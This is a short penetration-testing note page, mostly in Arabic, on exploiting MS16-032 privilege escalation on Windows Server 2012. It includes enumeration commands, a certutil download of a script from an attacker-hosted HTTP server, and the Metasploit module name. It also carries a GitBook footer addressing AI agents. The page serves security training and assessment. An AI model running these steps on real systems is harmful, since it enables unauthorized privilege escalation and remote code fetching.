> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/windows-vulnerabilities/kernel-exploitation/windows-server-2012-kernel-exploitation.md).

# Windows Server 2012 - MS16-032

MS16-032 هي ثغرة تصعيد امتيازات محلية مرتبطة بخدمة Secondary Logon. وتعتمد إمكانية الاستغلال على إصدار Windows الدقيق، والمعمارية، والتحديثات المثبتة.

## الكشف

```powershell
systeminfo
```

قارن الإصدار مع مراجع الاستغلال المعروفة:

{% embed url="<https://github.com/SecWiki/windows-kernel-exploits>" %}

{% embed url="<https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-032>" %}

## تأكيد حالة التصحيحات

تصدير `systeminfo` وقارن تحديثات KB المثبتة بأداة موثوقة لاقتراح الاستغلال قبل تشغيل الوحدة.

```cmd
systeminfo > C:\Windows\Temp\systeminfo.txt
wmic qfe list brief
```

```bash
python3 wes.py systeminfo.txt --exploits-only
```

## نقل

```bash
python3 -m http.server
```

```cmd
certutil.exe -f -urlcache -split http://10.10.14.12:8000/ms16-032-check.ps1 ms16-032-check.ps1
```

<figure><img src="/files/a7be0a6731eec1978092e007c485b009235ee0fc" alt="MS16-032 validation material transferred to Windows Server 2012"><figcaption></figcaption></figure>

## الاستغلال

وحدة Metasploit:

```
exploit/windows/local/ms16_032_secondary_logon_handle_privesc
```

<figure><img src="/files/0b7c5b27b988adcceace9ec4e09d1c8720ad065a" alt="MS16-032 Metasploit module" width="563"><figcaption></figcaption></figure>

قم بتكوين الجلسة النشطة، والمعمارية، وخيارات الهدف، ثم شغّل الوحدة فقط بعد التأكد من أن المضيف متوافق.

<figure><img src="/files/8dfc69aac1c3fc8c9b094d36068cee4560d9601e" alt="MS16-032 module configuration"><figcaption></figcaption></figure>

<figure><img src="/files/1970eb0ddea38f63a6b10fbc5e3b5fa0205bc79c" alt="Privileged session after MS16-032 exploitation"><figcaption></figcaption></figure>

## النقاط الرئيسية

* تحقق دائمًا من الإصدار والمعمارية ومستوى التصحيحات.
* استغلالات النواة هشة؛ اختبرها في مختبر قبل استخدامها أثناء التقييم.
* عالج المشكلة بتطبيق تحديثات الأمان ذات الصلة من Microsoft.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/windows-vulnerabilities/kernel-exploitation/windows-server-2012-kernel-exploitation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
